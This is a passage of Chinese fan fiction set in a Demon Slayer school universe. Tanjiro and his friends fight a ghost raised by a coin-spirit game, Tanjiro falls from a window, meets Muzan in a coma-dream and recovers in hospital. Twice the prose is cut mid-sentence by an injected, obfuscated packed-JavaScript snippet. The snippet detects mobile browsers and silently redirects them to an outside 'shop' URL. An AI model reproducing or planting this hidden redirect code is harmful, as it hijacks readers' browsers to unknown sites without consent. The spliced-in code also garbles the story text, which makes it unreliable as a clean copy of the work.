伊从助夺过那把刀,有些嫌弃地说道,但很快他敏锐地发现,这把刀的样子变了,虽然还是有些破烂,但铁锈却少了很多,而且刀刃上全是豁口。 伊藤有些惊讶道:“看来你和刀的相性很好,刀是有灵性的,会根据使用者的情况而变成他适合的武器。” 伊之助:“虽然没听懂,但是就是说俺很厉害吧。” 说罢,他仰头大笑起来,但笑着笑着,他有些遗憾道:“如果有两把就好了。” 看着眼前心性纯良的美少年,伊藤笑容温和:“对不起,我只有一把。” 伊之助:“没关系,你下次努力。” “伊之助。”炭治郎有些不好意思地拉了拉伊之助。 “对不起,伊藤先生,伊之助失礼了。” 伊藤摇头表示没关系,因为他知道能被除灵刀所承认,说明这名叫伊之助的少年,也是心性纯良之人。 如今他也不用费心找一个能用除灵刀的人了,可还有一个问题,那就是引出恶灵。 经此一役,恶灵肯定是有警惕心,想要再把他引过来,怕是不易。 “如今,你们只有守在这三人身边,找准机会将,恶灵一击毙命。” “记住,你们只有一次机会。”他又一次叮嘱道。 “是吗?我们只有一次机会。” 学生会内,忍听完了炭治郎的讲述。 她没想到杀人会让恶灵变强,如今就连那位伊藤大师也没有办法,但好在他们还有机会,虽然只有一次。 接伊藤的说法,除非杀光当时所有玩银仙游戏的人,否则恶灵不会收手的。 “所以大家今晚还是一起留下来吧。”忍提议道。 昨天晚上,他们就是觉得有护身符在,才大意了,觉得一晚上应该能挺过去。可虽然有护身符在,恶灵依然去找了清瘦男生,导致清瘦男生对他们不信任,这才让对方另找除灵者,导致现在的局面。 “对了,那个和尚怎么样了?” 提起这件事,炭治郎问起那唯一幸存者。 忍面色不善:“他抢了下川的护身符,所以活了下来,但是也被当作嫌疑人,怕是会被调查一段时间。” 作为一个人类,她自然是不愿意看到那位除灵者被恶灵所杀,但是也看不惯对方这种卑劣的行径。 说到底,清瘦男生的死,他有一份。 炭治郎轻轻点头,那和尚并没有直接杀人,以警方的能力会还他清白,这一点无须他担心。如今他只需要守护好其他人便可。 当晚炭治郎他们便在学生会办公室里找地铺,打到一半时,却听到一声熟悉的魔音灌耳。 “啊啊啊!炭治郎你们好过分,和祢豆子妹妹一起过夜,居然不叫我!” 只见善逸猛地打开门,脸都气得红了。 他刚刚去炭治郎家找祢豆子,却从灶门妈妈的口中得知两人准备在学生会过夜,与忍学姐和那只野猪一起! 他听罢,急急忙忙地赶来。 他一下冲到炭治郎面前:“炭治郎,你太过分了,居然帮野猪!你要撮合,应该撮合我和祢豆子啊。” “善逸,你冷静点啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304107|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,事情不是这样的。” 炭治郎想解释,可是善逸实在太激动了,什么也听不进去。 “我不听,我不听!” “必须加我一个!” “我要和祢豆子妹妹在一起啊啊啊啊…” 正呐喊着,祢豆子一手刀劈在对方后脑上。 “善逸,你胡说什么呢。”此刻的祢豆子脸红得不像话。 没办法,善逸说得实在太丢脸了。 “祢豆子酱!”善逸转身露出灿烂的笑容,但很快又发现屋内还有三个不认识的家伙,其中两个还是男生。 他的脸一下拉了下来,将祢豆子护在身后:“你们谁啊?” “不准靠近我的祢豆子妹妹。” 说这话时,他阴冷的表情中都带上一些杀意了,将两个头比他高的男生吓得一激灵。 祢豆子有些无奈地呵斥他:“善逸。” “嗨,祢豆子妹妹叫我什么事啊。”他一转身,又换上刚刚的笑容。 祢豆子抚额:“不是这样的。” 于是她把发生了什么事,他们为什么要睡在这里的理由说了出来。 在听到又闹鬼时,善逸脸上的笑容一点点少了下来。 “啊,我忘了带睡衣了,现在去取…”他一边笑容勉强,一边缓缓地向门口走去,想离开这个是非之地。 他一点也不想再次被卷入灵异事件啊!一点也不想! 可是…忍微笑着把门一关。 “没事,我们又不办睡衣派对,来都来了,就别走了。” 多一个人,多一份力量,而且善逸的听力很好用。 善逸哭着看向炭治郎,炭治郎反握住他的手,笑容诚恳:“善逸,感谢你来帮忙,你真是个大好人。” 善逸眼泪蓄在眼眶里,要落不落。 祢豆子走上前:“善逸,本来我们还觉得人手不够呢,有你在太好了。” 本来还一脸苦相的善逸听到这话,顿时露出笑容来了。 “嘿嘿,那没办法了,看来我只能留下来了。看来,我对你们还是很重要的嘛。” 炭治郎和祢豆子相视一笑:“对,善逸你很重要。” 被兄妹俩这么一说,善逸的笑容更深了,正得意着呢却听伊之助在后面不屑道。 “明明刚刚还胆小的想跑呢。” “死猪,谁胆小呢!” 被戳穿的善逸气得抓着伊之助的头咬。 “可恶的纹逸!松开!” “死野猪!” 两个谁也不服谁,在办公室里打打闹闹,本来有些沉闷的气氛,由于这两个人而变得欢快起来,就连那身受诅咒的三人也不由得笑出声。 最终以善逸和伊之助打累了为结尾。 就在两人双双累瘫在地上时,其他人已经将被子铺好。 男女双方分别在室内两端打的地铺。 祢豆子和忍看护短发女生,其他人看护另外两个男生。 “那么大家晚安。” 忍站在电灯开关前,对众人说。 “晚安。” 随着开关关上,四周陷入黑暗,只有一缕清冷的月光洒了进来。 炭治郎躺在被窝里,左边是抱着除灵刀正在傻笑的伊之助,右边是正偷看祢豆子的善逸。 “这种感觉很熟悉呢。”炭治郎看着左右两个好友低声道。 虽然他经常和两个好友在一起,但是这种三人躺在一起睡的感觉却给他一种别样的熟悉感。 “因为是第二次合宿了吧。”伊之助抱着刀说道。 “笨蛋,上次炭治郎摔倒,都没宿成功吧。”善逸提醒道,他们从未真正地合宿过。 “那就是因为炭八郎上辈就是俺小弟。”伊之助又理所当然说道。 “你在做什么梦,哪有什么上辈子!”善逸又反驳道:“但如果说我和祢豆子妹妹上辈子就相爱了,我还是相信的。” 说着他又嘿嘿笑了起来。 “就是有上辈子!我妈妈说了,所有人都是有前世的!”伊之助似乎对前世是否存在,很有执念。 “嗯,我也相信。”而炭治郎也选择站在伊之助一边。 “炭治郎说有,那就有吧。”善逸也终于不再反驳,只是他突然翻过身来。 “你们说我们上辈子都在做些什么呢?” 51.第 51 章 “我说不定和祢豆子妹妹在一起,在田野里快乐地嬉戏。” 善逸一提出这个问题,立马开始幻想起来。 “那我就是正宗山大王,你们都是我的小弟!” 话题被挑起,伊之助也幻想起来。 “炭治郎呢?” 两人谈完自己对上辈子的猜测,都问起来炭治郎。 “我只要能和家人在一起就很开心了。” 炭治郎对于前世倒没有什么执念,在他看来只要和家人一起就是很开心的事了。 “炭治郎你这与其说的是前世,不如说是你自己的梦想吧。”善逸一针见血地指出,炭治郎的心里想法。 炭治郎嘿嘿一笑:“是这样,没错了。” 他没有什么大的理想,只想要和家人平淡地生活在一起,就很开心了。 善逸觉得炭治郎这个人没什么野心,但伊之助却很认同。 “俺也是一样,能和妈妈在一起,还有小弟们,就很高兴。”伊之助最喜欢温柔的妈妈了!当然还有他的小弟们! “是吧。”炭治郎附和道。 善逸听着一旁两个家人脑,忍不住叹气,为什么他身边的人总是那么头脑简单呢。 正说着,突然一阵阴风吹来,他裹紧了被子。 耳边传来悉悉嗦嗦的声音,有人起身了吗?他疑惑道,正好他也想上厕所,但因为怕鬼,不敢一个人去,这下正好有伴了。 “等我一下,我也要去上厕…” 他正欲起身,但话还没有说完,便被身旁的炭治郎一下按了下来。 “嘘。” 炭治郎做了一个禁声的手势,扭头又看向已经把刀拔出来的伊之助。 “伊之助,你等一下,听我指挥再行动。” 炭治郎是几人中唯一能看到灵体的,而他们只有一次机会,所以伊之助必须一击即中。 伊之助点点头,他虽然看似大大咧咧地,但正如野兽有着足够地耐心盯着猎物,而他也一样。 伊之助紧紧握着刀,等待着炭治郎所说的那个时机。 屋内寒意加深,一阵薄雾涌了进来,炭治郎看到高个子男生突然起身,从被子里离开,虽然心下焦急,但还是忍住没有出声。 只见对方如木偶一般缓缓站起,果然恶灵就在附近。 薄雾渐浓,有一浅浅的影子突然穿过大门,朝着高个子男生而去… 伊之助清楚地感知到有什么东西进来… “炭治郎?”他低声寻问道炭治郎是否可以动手。 “等一下。”炭治郎盯着那道身影说道。 只见高个子男生离开被窝后,来到窗边,将窗户打开,晚风吹了进来,并没有吹散薄雾,反而还让那白色的影子逐渐凝实了几分。 而高个子男生一只脚已经踏上窗户。 “住手!” 情况危急,炭治郎只能一个箭步上前,去阻止高个子男生,善逸等人紧随其后阻止。 而伊之助只能凭感觉用刀刺向恶灵的方向。 “伊之助住手!” 炭治郎一边抱着高个子男生的腰,一边喊道。 “那不是恶灵,是下川!” 看清一切的炭治郎大声喊道,伊之助听到后愣在原地,看那表情似乎在想下川是谁? 但逐渐显形的清瘦男生,却一下扑了过来。 “伊之助!” 已经来不及了,眼见下川要自己扑到刀上,除灵刀就要因此作废时…伊之助以一种极为夸张地姿势下腰,那种柔韧度,就算是常年来练舞的人,见了也会自叹不如。 “怎么样!”护住刀的伊之助,甚至还把头穿过□□。 炭治郎露出劫后余生的表情:“伊之助很厉害呢。” 见没能扑到刀上,清瘦男生眉头微蹙,抬头冷眼看向高个子男生,语气冰冷如机械:“跳下去。” 接到命令的高个子男生,更加要往外跳。 炭治郎和善逸两人差点没抓住,还是伊之助过来一起帮忙,才将人拽了下来,但一波未平,一波又起,只见黝黑男生也踉跄着起身,还打开了另一扇窗。 善逸赶紧去拦,死死地扒着他不松手。 “你疯了吗?掉下去真的会死的。”善逸大喊着,似乎想劝醒他。 但比起劝醒,貌似是善逸的尖叫声难免让人难以忍受,就连被恶灵迷惑的人,都忍不住捂耳朵。 炭治郎:“善逸,别停继续喊。” 见善逸的声音有用,炭治郎让他继续,自己则摸到了高个子男生身上的护身符,只见护身符的一角已经有些变黑。 看来,因为恶灵杀人变强,伊藤的护身符已经起不到太大的作用了。 而就在这时,祢豆子这一边也出现了状况。 “美里,是你吗?” “美里,对不起,对不起。” 只见短发女生哭喊着朝窗外跑,若不是祢豆子和忍按着她,她怕是也要和另外两人一样跳窗。 在祢豆子他们看不见的视角里,早已死去的双马尾女生正飘在窗口,浑身是死地死死盯着短发女生。 “美和子,我好痛啊。” “好痛,好痛,这里好冷。” “你为什么还在那里?为什么不过来?” 被蛊惑的三人,皆想往楼下跳,去陪他们的朋友。 眼见恶灵并不现身,而让自己杀人的鬼魂过来,使得除灵刀,根本没有用武之地。 炭治郎抓着那枚护身符,就朝清瘦男生丢了过去。 “啊啊啊!” 果然正如炭治郎所想的那样,虽然护身符对厉鬼没用,但对于新鬼还是效果拔群的。 “快找出她身上的护身符。” 炭治郎扭头看向祢豆了他们,祢豆子力气大暂时按住了短发女生,而忍则很快摸出了护身符。 炭治郎快步上前,一把夺过护身符,朝着窗外丢去。 “啊啊啊!” 双马尾女生也随之消失。 随着两名鬼魂离开,那三人一下昏死过去。 看着倒下的三人,善逸拍了拍自己的心口。 “吓…吓…死我了…” 虽然他也经历过很多次灵异事件了,但还是受不了这种鬼鬼怪怪的,这种不要命了往下跳,真的很容易吓得人心梗好吧! 他刚想休息一下,却听到炭治郎让他帮忙把人抬到床铺上。 他本不想搬,但就连祢豆子也拜托他,他只能帮忙一起抬那两个死沉的男生。 善逸一边抬,一边叹气。但一抬完,却感觉有些不对劲。 他盯着被摆放在一起的三人。 “他们的心跳,好像有些弱…” 炭治郎俯下身,去听高个子男生的心跳:“没有啊。” 善逸摇头:“你们听不出来很正常,他们的心跳不是一下弱了下来,而是逐渐变弱。” “照这样下去,大概三个小时,他们的心跳便会完全停止。” 此话一出,众人变了脸色,哪怕是伊之助也明白心跳停了,代表着什么。 善逸的耳朵是不会听错的,所以这三人的生命已经进入了倒计时。 “怎么办?炭治郎,快把他们送医院啊。”善逸对于这件事还不太了解,所以只能提议将几人送往医院。 炭治郎很快冷静下来:“别急,我打电话给伊藤先生。” 他立刻打给伊藤,将现在的情况告诉他。 伊藤听后只能长长地叹气:“这种情况,医院也救不了。” “诅咒不是靠现代医院能治疗的。” “那恶灵正远程吸收着他们的生命力,正如你那位耳力极佳的朋友所说,他们只剩下三个小时。” “炭治郎你们只有三个小时来找出那只恶灵。” 随着伊藤给他们下达最后的通牒,炭治郎他们的时间已经不多了。 不同于上次贞子时的情况,这一次他们必须杀死恶灵,才能救这三个人。 而在挂断电话后,炭治郎也看到这三人身上,有一道淡淡的丝线,恐怕就是这道丝线,正在抽走他们的生命力。 或许他可以通过这条丝线,找到恶灵所在。 可是他们有那个时间吗? 祢豆子看到哥哥脸上的为难,或许是兄妹间的心有灵犀,她站出来一步,提出一个想法:“哥哥,我们或许也可以玩一场银仙游戏。” “银仙游戏的原理,就是召唤幽灵吧,以我看来,这不是无缘无故地召唤,附近灵体距离、相性都有关系。” “或许我们可以通过银仙游戏,将恶灵召唤出来。” “不行!” 她一说完,忍立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304108|194698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就反驳道:“万一召唤出来的不是那只恶灵呢?” “那我们也可以通过问银仙大人,找到那恶灵的位置。” “可万一又召唤出不好的东西呢?”善逸有些担心道。 “就是,俺不允许你们拿自己冒险。”伊之助也反对道。 “还是俺来玩吧。”但他是不想让祢豆子他们冒险,自己就不一样了,他有信心打赢恶灵! “哥哥,你觉得呢?”祢豆子还是想听听哥哥的决定。 炭治郎沉默了片刻,看着那沉睡的三人,深吸一口气:“来玩吧。” 一直以来他们都太被动了,这次轮到他们主动出击了! 他拿出之前双马尾女生送他的那张纸,放在桌上,又从钱包里拿出一枚硬币。 “不过,我一个人玩就行。你们都别插手。” 说着,他正打算召唤银仙,一只手便搭了上来。 “哥哥,别忘了银仙游戏得两个人玩。”祢豆子站在他对面笑着说道。 “祢豆子。” “哥哥,我不会走的,我们得一起面对。” 就像上次哥哥拼命地救自己,这次轮到她来帮助哥哥了。 “祢豆子,不行,你不能…” 话还没说完,又有三只手放了上来。 “俺没玩过,俺也要玩!” “呜呜呜…既然祢豆子和炭治郎也玩了,那我…我…也要…” “炭治郎,有什么大家一起面对。” 见同伴怎么也要生死与共,不愿离开,炭治郎一脸无可奈何:“那就一起吧。” 五人各自将一只手放在硬币上,准备召唤银仙,随着咒语念完,身后突然一阵冷风吹来… “银仙大人,你来了吗?”祢豆子问道。 话音刚落,炭治郎看到一双血肉模糊的手伸出过来。 其中食指压在硬币上,硬币缓缓移动到“是”字上。 其余四人面面相觑,因为他们谁也没有用力,在硬币回到原位后,他们看向炭治郎。 炭治郎侧头看向自己的身旁,那是一位身着古装的青年男人,正如清瘦男生所说,恶灵浑身血肉模糊,像是一块块血肉拼接起来的一样,那数不清的伤口里不断有血涌出,一滴又滴地落在地上、桌上… 炭治郎缓缓点头。 他来了。 随着那恶灵的出现,几条若有似乎无的丝线从对方心脏处抽出,绑在炭治郎几人的手腕上。就像恶灵缠上那几人一样,缠上了他们。 无论炭治郎等人,能不能顺利送走他,在结下契约的那一刻,他就已经要定了几人的性命作为代替。 “银仙大人,你可以放过那几个人吗?”炭治郎问道。 硬币移向了“否” 看看谈谈是不可能了。 “银仙大人,你有什么想要的,从而放过那几人吗?”祢豆子追问道。 硬币继续移动。 在…所有…人…死…之前…游戏…不会…停… 拼出这句话后,恶灵呵呵地笑了起来… “你为什么要杀人?”看到这句话,忍压抑着心中愤怒问道。 他们都是正常地玩银仙游戏,并没有丝毫地违规,为什么还是要面对死亡的结局。 因为…心情…会…变好… 仅仅只是因为这样!因为这样一个离谱的理由,就要开始肆无忌惮地杀戮…去残害一条条无辜的生命… 在场的所有人,在看到这句话后,怒火直冲天灵盖。 他们已经不想了解,这恶灵为什么想杀人,已经失去人性的他,如今只是杀人魔而已… 根据炭治郎的目光,伊之助凭借自己的直觉,已经确定了恶灵的位置,他另一只空着的手已经紧紧地握住口袋里的除灵刀… 他尽可能地放平自己的呼吸,只待那个机会。 善逸看出他的想法,于是开口问道:“那个…这个…我几岁…能能能…结婚。” 说这话时,他眼睛不经意地瞟向祢豆子,红脸不已,祢豆子与之对视间,也不禁红了脸颊。 就在两人脸红时,那硬币动了… “二…十…五…岁…的…” 善逸一边读,语气逐渐兴奋起来。 但就在这时,伊之助突然松手,速度极快地将除灵刀,刺向炭治郎身旁的空位。 52.第 52 章 伊之助深吸一口气,脑中不由得回忆起善逸当初对付贞子时所用的招式,那招式他曾经在脑内回忆了无数遍,终于是找到善逸当时能用出这种奇怪的招式是因为呼吸,那么他只要模仿就好了… 模仿出适合自己的呼吸… “兽之呼吸,一之牙,穿透刺射。” 他拿着刀高速向前突刺,速度之快鬼根本没有反应过来,被一下捅中腹部。 “成功了。” 炭治郎看到那刀没入恶鬼的身体中,惊呼道! “啊啊啊!” 恶灵捂着腹部,发出凄厉的惨叫着,一连退后了好几步,直到撞到墙上倒了下去。 炭治郎见恶灵倒下了,顿时松了一口气。 他看向自己的同伴们:“成功了。” 顺利得有些太顺利了,众人皆是一愣,还是伊之助用手指着自己,一脸骄傲。 “还是俺厉害吧。” “是很厉害,伊之助你去学剑术了吗?”祢豆子既高兴又疑惑地问道。 伊之助叉腰:“没有,但本大爷是天才!” “切,凑巧而已。”见伊之助让祢豆子笑得这么开心,善逸有些不爽道。 “哼!不服啊!那来比试啊!”伊之助撸起袖子挑衅道。 眼见两人要打起来,炭治郎赶紧阻止:“好了,好了,别伤了和气。” “恶灵被解决了,才最重要了,不是吗?” 炭治郎的话,让两人停了手,但是彼此之间都冷哼了一声。 忍收拾着桌子上的东西:“嗯,炭治郎说得不错。” “事情解决,大家都可以睡个好觉了。” 众人点点头,紧绷的神经终于可以放松下来。 几人转身准备钻进各自的被窝里,好好睡一觉,毕竟明天还要考试呢。 只是刚转身,善逸脸色一变,他将双手放在耳朵上,声音颤抖:“怎么回事?” “为什么这些人的心跳还在减弱?” “什么!” 众人震惊之际,只见躺在地上的三人猛地睁开眼,朝着窗户奔去。 炭治郎回头间,只见那倒在地上的恶灵,并没有完全死去,他下达着最后命令。 “跳下去。” 听到命令的三人想也不想地就往楼下跳,炭治郎带人赶紧去拦,或许是恶灵最后的挣扎,三人的力气比之前大了几倍。 炭治郎瞥到恶灵的身形正在消散,于是喊道:“大家坚持一会,等恶灵消失就没事了。” 他想着坚持几分钟,就能救下所有人,但就在这时他听到有“咚咚咚”在敲着什么的声音,那是从他体内发出的。 这个时候,无惨还想蛊惑他成为鬼吗? 然而那敲击声却越来越猛烈…仿佛催命一般… 不对!这不像是威胁,而是警告! 他猛地回头,看到那三人嘴角勾起诡异的笑容,三双手朝他猛地一推… 炭治郎突然失重,朝后仰去… “炭治郎!” “哥哥!” “权八郎!” 视线的最后,他看到善逸等人焦急的目光,和祢豆子伸出手,但两人指尖交错,无尽的失重感将他包裹,耳边传来恶灵痛快的笑声… “一起下地狱去吧,鬼。” “碰。”的一声,炭治郎眼前一片黑暗。 眼前深沉的黑暗犹如深渊一般,将他紧紧包裹着。 啊勒?他不是死了吗? 从那么高摔下来,他应该死了才对,这里是哪? 即使面对自己的死亡,炭治郎也没有很吃惊。只是有些伤感,他就这样死了,爸爸妈妈和弟弟妹妹们,应该会很伤心吧。 不过自己是为了救人而死的,他们会为自己感到自豪的。 “你是有什么救世癖吗?” “就这么想死!” 身后突然响起声音,炭治郎吓得一个转身,退后好几步,稳下心神后,他这才看清眼前的人。 随即露出一张苦瓜脸:“无惨,我都死了,你怎么还跟过来了。” 那语气活像无惨是某种脏东西,从某种意义上来说,他还真是。 此话一出,炭治郎都看到对方额角青筋暴起,但是一想到自己是怎么死的,他那股嫌弃就藏不住。 “再说,我本来就是被你连累才死的。” 那恶灵生前是被鬼吃了,所以上次与他接触后,察觉到了无惨的存在,这才把他也当成了鬼。如今哪怕是死,也要拖着他一起下地狱。 “所以啊,无惨做个好人吧,别一天到晚想着吃人,人类怒火不是你能承受的。” “你看看你就是脾气差,到处挑衅、吃人,所以害人终害己。” “还连累我也死了。” 面对无惨,炭治郎早就有一肚子的牢骚要发。 强行附身在自己身上,还总是让他变成吃人的怪物,对他的家人没有丝毫的尊重,没有理解生命的重要性,一天到晚乱发脾气,还是个谜语人,总是瞒着他很多事。 “下辈子做个好人吧。” “闭嘴!”无惨伸出手捏住炭治郎的脸,神色阴沉。 显然炭治郎的这些话,杀伤力都能匹敌缘一的日轮刀了,气得他手都在抖,但随即他扔下一颗重磅炸弹。 “你没死!” “唉?” 这个消息,让炭治郎都蒙了,大大的眼睛中满是疑惑。 “真的吗?等一下,你不会是趁我没有意识,就把我变成鬼了吧!” 他推开无惨:“不行!只有这点绝对不行!” “我哪怕是死,也不会当鬼的!” 无惨啧了一声,显然很不爽,低喃道:“还是这么倔。” 他又不是没有把炭治郎强行变成鬼过,自然是知道的。 无惨环抱着,不爽的将头撇向一边:“你的头硬,虽然全身的骨头摔断了大半,但命保住了。” “你现在陷入重度昏迷,再这样下去,会成为植物人。” “你成植物人了,麻烦的只会是我!” 炭治郎无所谓地耸耸肩:“挺好,我们都被困住了,这样你就不能做坏事了。” “灶门炭治郎!你满脑子除想困住我外,就没有别的了吗?” “没有!”炭治郎理直气壮! 无惨恨得咬牙切齿:“那你不在乎你的家人了吗?” 提到家人,炭治郎立刻眼睛亮了起来:“你知道现在祢豆子他们怎么样了吗?” 他对于摔下去后发生的事,一无所知。 “你想知道,自己睁眼看看不知道了吗?” “也不知道谁说最在乎在家了,自己却躺在这里不起来。” 炭治郎良心一痛,没想到自己有一天居然会被无惨给教育了一顿。 “快醒过来了,一大群人在那里哭,烦死了。” 被无惨这么一提醒,炭 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看着炭治郎那怀疑的眼神,无惨直接捏住他的脑袋。 “你那贫弱干瘪,简直只有一根筋的脑袋,除了硬,就没有一点作用了吗?” “你觉得,有我会那么轻易地放其他人进来,不处理掉他们吗?” 啊,这说话刻薄而自负的语气,果然是无惨呢。 但更不对了,这次的无惨居然没有趁机威胁他。 看着把“这绝对有阴谋”几个字写在脸上的炭治郎,无惨满脸写着怨气。 他几乎是用尽全力地去捏炭治郎的头,但手都捏疼了,炭治郎表情都没有变一下。 “我说过,你是我的继承人。” “在没有得到我的允许前,你不许死!” 说罢,无惨将炭治郎甩了出去。 “无惨。” 被甩出去的炭治郎,很想问清楚对方,为什么要这么做?为什么一边讨厌他,却又一次次地救自己。而且他绝不相信,自己伤成这样,无惨救他会一点代价也没有付。 可是他只能眼睁睁地看着眼前的人离自己越来越远… “炭治郎!” “哥哥!” “医生,医生!炭治郎手指动了!动了!” 炭治郎感觉到一股疼痛袭来,耳边传来嘈杂声,以及妈妈的惊呼声。 他缓缓睁开眼,是陌生的天花板,视线的余光中,还能看到吊瓶。 随即是一张张熟悉的脸,凑在他面前,每个人脸上都挂满了泪水,每一个都想靠近,却不敢触碰他。 “呜哇哇,炭治郎哥哥,你终于醒了。” 两个年纪小的花子和茂“哇”的一声哭了出来,祢豆子抱着六太,在一旁抹眼泪,竹雄咬牙这才没有将眼泪流下来。 “哥哥,你怎么样了,不记得我是谁吗?”他含着泪问道。 “竹雄。”炭治郎用沙哑的声音喊出他的名字。 “祢豆子,花子,茂,六太别哭了。对不起,让你们担心了。” 炭治郎的本意不是这样的,可是这几个孩子却是哭得更伤心了,就连竹雄也是终于没有忍住,眼泪簌簌地掉。 直到葵枝和炭十郎拉来了医生,看着几个哭成一团的孩子们,医生好不容易才挤进去,替炭治郎检查。 53.第 53 章 “真的很不可思议!” “只有百分之三的苏醒机会,居然三天就醒了,简直是医学奇迹。” 在检查过炭治郎的身体状况后,医生忍不住发出感慨。 全身一半的骨头都碎了,流血过半的情况下,不仅保住性命,还这么快就醒了过来,这不是医学奇迹是什么。 “那医生,炭治郎哥哥没事了吗?”花子拉了拉医生的衣摆问道。 医生蹲下身来,摸了摸花子的头:“嗯,你哥哥已经脱离危险了,再住院两个月就没事了。” “嗯。”花子破涕为笑地点了点头。 灶门家所有人也都露出笑容来。 由于炭治郎才醒,为了不打扰他休息,葵枝打算一个人在这里照顾炭治郎就行,其他人还是早点回家。 但祢豆子却自告奋勇:“爸爸妈妈,我来照顾哥哥吧,我年轻能熬夜。” “而且我也实在不放心哥哥。” 看到祢豆子那坚定的眼神,葵枝握住她的手:“那炭治郎就交给你了。” “嗯。” 送走父母和弟弟妹妹后,祢豆子来到炭治郎床边,贴心地问道:“哥哥,我知道,你想知道那几个学长学姐的事。” “你放心,他们已经没事了。” 祢豆子很清楚炭治郎醒来的第一件事会问什么。 于是把这段时间的事一五一十地说了个清楚。 那天晚上,看到那三人把炭治郎推下楼去,他们几个简直是吓坏了,立刻就往楼下跑去,当时炭治郎都已经没气了,是忍不停地给他做急救,这才让被血堵住喉咙的炭治郎,重新恢复呼吸,紧急送到医院来。 至于那三个人,在推炭治郎下楼后,就清醒了过来。 他们每个人都很自责。虽然当时的他们没有意识,但手心中那推人的触觉还残留着。 三人都缺席了第二天的考试,并且都在接受心理医生的治疗。 “经此一事,产屋敷校长觉得学校或许是沾染脏东西,还请了人来除灵。” “那个灵能力者灵幻新隆,看着是个很靠谱的人呢。” 灵幻新隆?炭治郎觉得这个名字很耳熟,但现在的他,受了那么重的伤,又刚刚苏醒,一时之间想不起来是在哪里听过这个名字。 索性暂时不想了。 祢豆子又告诉他,很多人都来看过他,善逸、伊之助几乎天天都来,时透、玄弥、忍、香奈乎还有老师们也都来过。 “大家每个人都希望哥哥能醒过来。” 祢豆子手一指,炭治郎这才看到窗边全是送来的慰问品,数量之多,都已经摆不下了。 炭治郎点点头:“嗯,帮我谢谢他们。” 祢豆子替他捻好被子:“我知道,这些事,交给我来做,哥哥你好好休息。” “明天早上我做早餐给你吃。” 她希望哥哥能好好休息,但也不想让他像之前睡得那么久了。 “嗯。”炭治郎听话地闭上眼。 他也确实有些累了。 “无惨,你在吗?” 他闭上眼,内心呼唤着无惨,只是这一次无惨并没有回应他。 醒来后,他能感觉到,正如无惨所说自己并没有变成鬼。 他能感觉到属于人类的体温、心跳、疼痛。 所以为了救他,无惨怕是花了不少力量吧。 “谢谢。” 他在内心轻声道谢,虽然不知无惨能不能听到。 按医生所说,炭治郎这么严重的伤,至少要在病床上躺一个月才能行动。 但是没想到在短短一周之内,他遇到了第二个医学奇迹。 在炭治郎入院的第三天,便能下床了。 医生吓得又紧急给他做了一套全身检查,结果那么严重的伤,如今已经好了大半。 于是调查了这段时间配给炭治郎的所有药,生怕是自己开错药。 对于这一点灶门一家,倒是很高兴。 “这么说,哥哥是不是很快就能出院了。”花子趴在炭治郎床边,开心地说道。 炭治郎笑着点头:“是啊,等我出院后,继续给你讲故事好不好。” “不好。”花子摇头。 “哥哥要好好休息,花子是个大孩子了,少听几天故事没关系的。” 炭治郎摸摸花子的头,直夸她懂事。 又过了三天,在医生的宣布下,炭治郎终于可以出院了。 在他苏醒后的这一周里,他的朋友们来了一批又一批,就连伊藤也来看过他,他有些后悔为什么自己没能多教些炭治郎关于恶灵方面的知识。 很多恶灵早已没有思维、良知,他们纯粹只是为了杀戮的机器,甚至有时还特别狡猾。 “所以在确认他们彻底消散之前,不能放松对他们的警惕。” 炭治郎点点头,表示自己记住了,下一次绝不会放松警惕。 出院的时候,炭治郎已经不用任何人搀扶,能独自行走,只是还不能跑步。 他坐上家里的面包车,这辆车平时都是由炭十郎开去送货的。但今天是炭治郎出院的日子,所以他推掉了所有订单,为了让刚出院的炭治郎能坐得舒服些。 一路上,炭十郎说其实家里人都想来接炭治郎,但是人多了太拥挤,所以只来了他一个,话是这样说,但其实… “他们都在家里帮葵枝办宴席。” “这个别说是我说的,他们想给你一个惊喜来着。” 炭治郎笑着点头:“嗯,我知道。” 通过后视镜,看着消瘦了一圈的大儿子,炭十郎边开车寻问道:“对了,昨天你奶奶打电话过来。” “他们想让我们带你回乡下住。” “我想着乡下安静,空气好,奶奶家那边还有温泉是个疗养的好地方。” “怎么样,你愿意去吗?” 炭十郎是觉得乡下更有利于炭治郎修养,但是还是要看炭治郎自己的意思。 听到这话的炭治郎立刻露出开心的笑容:“真的吗?” “当然去,我们已经大半年没去爷爷奶奶家了吧,上次去还是新年的时候。” “祢豆子他们也去吗?”他问道。 炭十郎点点头:“嗯,当然。乡下房子大,住得下那么多人。” “那就说定,我们一家明天就回乡下。” “嗯。对了,好久没回去,给爷爷奶奶带份礼物吧。” “礼物我早就准备好了。” 父子俩在车上决定了明天回乡下的事宜。 对于即将回老家,炭治郎充满期待,他还记得小时候,他小时候就在乡下长大的,后来直到茂出生,而他也要上幼儿园了,他们一家才搬到城里来,还开了面包店。 终于车在后院停下,炭治郎刚开门,但听到“碰碰碰”几朵礼花炸开的声音,漂亮的彩带落在他身上。 “欢迎回家。” 葵枝带着孩子们在门口迎接炭治郎,即使已经在车上从爸爸那听到家人会给自己办接风宴,但看到实物,他还是忍不住感动。 “我回来了。”他笑容灿烂。 “炭治郎快过来,快过来。” 孩子们拉着他的手来到桌前,只见桌子上摆着一个大蛋糕,蛋糕上画着八个人,虽然画得有些扭曲,但是仍然可以认出来,这是他们一家八口人。 